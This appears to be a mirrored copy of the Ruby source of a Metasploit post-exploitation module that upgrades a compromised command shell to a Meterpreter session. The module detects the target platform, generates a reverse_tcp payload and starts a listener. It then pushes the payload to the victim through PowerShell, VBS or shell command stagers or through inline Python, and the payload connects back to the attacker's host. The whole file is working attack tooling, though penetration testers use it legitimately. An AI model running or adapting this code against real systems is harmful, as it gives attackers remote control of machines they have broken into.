Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

shell_to_meterpreter.rb 11KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex'
  7. require 'msf/core/exploit/powershell'
  8. require 'msf/core/post/windows/powershell'
  9. class Metasploit3 < Msf::Post
  10. include Exploit::Powershell
  11. include Post::Windows::Powershell
  12. def initialize(info = {})
  13. super(update_info(info,
  14. 'Name' => 'Shell to Meterpreter Upgrade',
  15. 'Description' => %q{
  16. This module attempts to upgrade a command shell to meterpreter. The shell
  17. platform is automatically detected and the best version of meterpreter for
  18. the target is selected. Currently meterpreter/reverse_tcp is used on Windows
  19. and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
  20. },
  21. 'License' => MSF_LICENSE,
  22. 'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
  23. 'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
  24. 'SessionTypes' => [ 'shell' ]
  25. ))
  26. register_options(
  27. [
  28. OptAddress.new('LHOST',
  29. [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
  30. OptInt.new('LPORT',
  31. [true, 'Port for payload to connect to.', 4433]),
  32. OptBool.new('HANDLER',
  33. [ true, 'Start an exploit/multi/handler to receive the connection', true])
  34. ], self.class)
  35. register_advanced_options([
  36. OptInt.new('HANDLE_TIMEOUT',
  37. [true, 'How long to wait (in seconds) for the session to come back.', 30]),
  38. OptEnum.new('WIN_TRANSFER',
  39. [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
  40. OptString.new('PAYLOAD_OVERRIDE',
  41. [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil])
  42. ], self.class)
  43. deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
  44. end
  45. # Run method for when run command is issued
  46. def run
  47. print_status("Upgrading session ID: #{datastore['SESSION']}")
  48. if session.type =~ /meterpreter/
  49. print_error("Shell is already Meterpreter.")
  50. return nil
  51. end
  52. # Try hard to find a valid LHOST value in order to
  53. # make running 'sessions -u' as robust as possible.
  54. if datastore['LHOST']
  55. lhost = datastore['LHOST']
  56. elsif framework.datastore['LHOST']
  57. lhost = framework.datastore['LHOST']
  58. else
  59. lhost = session.tunnel_local.split(':')[0]
  60. end
  61. # If nothing else works...
  62. lhost = Rex::Socket.source_address if lhost.blank?
  63. lport = datastore['LPORT']
  64. # Handle platform specific variables and settings
  65. case session.platform
  66. when /win/i
  67. platform = 'win'
  68. payload_name = 'windows/meterpreter/reverse_tcp'
  69. lplat = [Msf::Platform::Windows]
  70. larch = [ARCH_X86]
  71. psh_arch = 'x86'
  72. vprint_status("Platform: Windows")
  73. when /osx/i
  74. platform = 'python'
  75. payload_name = 'python/meterpreter/reverse_tcp'
  76. vprint_status("Platform: OS X")
  77. when /solaris/i
  78. platform = 'python'
  79. payload_name = 'python/meterpreter/reverse_tcp'
  80. vprint_status("Platform: Solaris")
  81. else
  82. # Find the best fit, be specific with uname to avoid matching hostname or something else
  83. target_info = cmd_exec('uname -mo')
  84. if target_info =~ /linux/i && target_info =~ /86/
  85. # Handle linux shells that were identified as 'unix'
  86. platform = 'linux'
  87. payload_name = 'linux/x86/meterpreter/reverse_tcp'
  88. lplat = [Msf::Platform::Linux]
  89. larch = [ARCH_X86]
  90. vprint_status("Platform: Linux")
  91. elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
  92. # Generic fallback for OSX, Solaris, Linux/ARM
  93. platform = 'python'
  94. payload_name = 'python/meterpreter/reverse_tcp'
  95. vprint_status("Platform: Python [fallback]")
  96. end
  97. end
  98. payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
  99. vprint_status("Upgrade payload: #{payload_name}")
  100. if platform.blank?
  101. print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
  102. return nil
  103. end
  104. payload_data = generate_payload(lhost, lport, payload_name)
  105. if payload_data.blank?
  106. print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
  107. return nil
  108. end
  109. if datastore['HANDLER']
  110. listener_job_id = create_multihandler(lhost, lport, payload_name)
  111. if listener_job_id.blank?
  112. print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
  113. return nil
  114. end
  115. end
  116. case platform
  117. when 'win'
  118. if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
  119. vprint_status("Transfer method: Powershell")
  120. psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
  121. cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
  122. else
  123. print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
  124. vprint_status("Transfer method: VBS [fallback]")
  125. exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
  126. aborted = transmit_payload(exe)
  127. end
  128. when 'python'
  129. vprint_status("Transfer method: Python")
  130. cmd_exec("python -c \"#{payload_data}\"")
  131. else
  132. vprint_status("Transfer method: Bourne shell [fallback]")
  133. exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
  134. aborted = transmit_payload(exe)
  135. end
  136. if datastore['HANDLER']
  137. vprint_status("Cleaning up handler")
  138. cleanup_handler(listener_job_id, aborted)
  139. end
  140. return nil
  141. end
  142. def transmit_payload(exe)
  143. #
  144. # Generate the stager command array
  145. #
  146. linemax = 1700
  147. if (session.exploit_datastore['LineMax'])
  148. linemax = session.exploit_datastore['LineMax'].to_i
  149. end
  150. opts = {
  151. :linemax => linemax,
  152. #:nodelete => true # keep temp files (for debugging)
  153. }
  154. if session.platform =~ /win/i
  155. opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
  156. cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
  157. else
  158. opts[:background] = true
  159. cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
  160. # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
  161. # as /bin/sh on OS X doesn't support the -n option on echo
  162. end
  163. cmds = cmdstager.generate(opts)
  164. if cmds.nil? || cmds.length < 1
  165. print_error('The command stager could not be generated.')
  166. raise ArgumentError
  167. end
  168. #
  169. # Calculate the total size
  170. #
  171. total_bytes = 0
  172. cmds.each { |cmd| total_bytes += cmd.length }
  173. vprint_status("Starting transfer...")
  174. begin
  175. #
  176. # Run the commands one at a time
  177. #
  178. sent = 0
  179. aborted = false
  180. cmds.each { |cmd|
  181. ret = session.shell_command_token(cmd)
  182. if !ret
  183. aborted = true
  184. else
  185. ret.strip!
  186. aborted = true if !ret.empty?
  187. end
  188. if aborted
  189. print_error('Error: Unable to execute the following command: ' + cmd.inspect)
  190. print_error('Output: ' + ret.inspect) if ret && !ret.empty?
  191. break
  192. end
  193. sent += cmd.length
  194. progress(total_bytes, sent)
  195. }
  196. rescue ::Interrupt
  197. # TODO: cleanup partial uploads!
  198. aborted = true
  199. rescue => e
  200. print_error("Error: #{e}")
  201. aborted = true
  202. end
  203. return aborted
  204. end
  205. def cleanup_handler(listener_job_id, aborted)
  206. # Return if the job has already finished
  207. return nil if framework.jobs[listener_job_id].nil?
  208. framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
  209. if !aborted
  210. timer = 0
  211. vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
  212. while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
  213. sleep(1)
  214. timer += 1
  215. end
  216. end
  217. print_status('Stopping exploit/multi/handler')
  218. framework.jobs.stop_job(listener_job_id)
  219. }
  220. end
  221. #
  222. # Show the progress of the upload
  223. #
  224. def progress(total, sent)
  225. done = (sent.to_f / total.to_f) * 100
  226. print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
  227. end
  228. # Method for checking if a listener for a given IP and port is present
  229. # will return true if a conflict exists and false if none is found
  230. def check_for_listener(lhost, lport)
  231. client.framework.jobs.each do |k, j|
  232. if j.name =~ / multi\/handler/
  233. current_id = j.jid
  234. current_lhost = j.ctx[0].datastore['LHOST']
  235. current_lport = j.ctx[0].datastore['LPORT']
  236. if lhost == current_lhost && lport == current_lport.to_i
  237. print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
  238. return true
  239. end
  240. end
  241. end
  242. return false
  243. end
  244. # Starts a exploit/multi/handler session
  245. def create_multihandler(lhost, lport, payload_name)
  246. pay = client.framework.payloads.create(payload_name)
  247. pay.datastore['LHOST'] = lhost
  248. pay.datastore['LPORT'] = lport
  249. print_status('Starting exploit/multi/handler')
  250. if !check_for_listener(lhost, lport)
  251. # Set options for module
  252. mh = client.framework.exploits.create('multi/handler')
  253. mh.share_datastore(pay.datastore)
  254. mh.datastore['WORKSPACE'] = client.workspace
  255. mh.datastore['PAYLOAD'] = payload_name
  256. mh.datastore['EXITFUNC'] = 'thread'
  257. mh.datastore['ExitOnSession'] = true
  258. # Validate module options
  259. mh.options.validate(mh.datastore)
  260. # Execute showing output
  261. mh.exploit_simple(
  262. 'Payload' => mh.datastore['PAYLOAD'],
  263. 'LocalInput' => self.user_input,
  264. 'LocalOutput' => self.user_output,
  265. 'RunAsJob' => true
  266. )
  267. # Check to make sure that the handler is actually valid
  268. # If another process has the port open, then the handler will fail
  269. # but it takes a few seconds to do so. The module needs to give
  270. # the handler time to fail or the resulting connections from the
  271. # target could end up on on a different handler with the wrong payload
  272. # or dropped entirely.
  273. select(nil, nil, nil, 5)
  274. return nil if framework.jobs[mh.job_id.to_s].nil?
  275. return mh.job_id.to_s
  276. else
  277. print_error('A job is listening on the same local port')
  278. return nil
  279. end
  280. end
  281. def generate_payload(lhost, lport, payload_name)
  282. payload = framework.payloads.create(payload_name)
  283. options = "LHOST=#{lhost} LPORT=#{lport}"
  284. buf = payload.generate_simple('OptionStr' => options)
  285. buf
  286. end
  287. end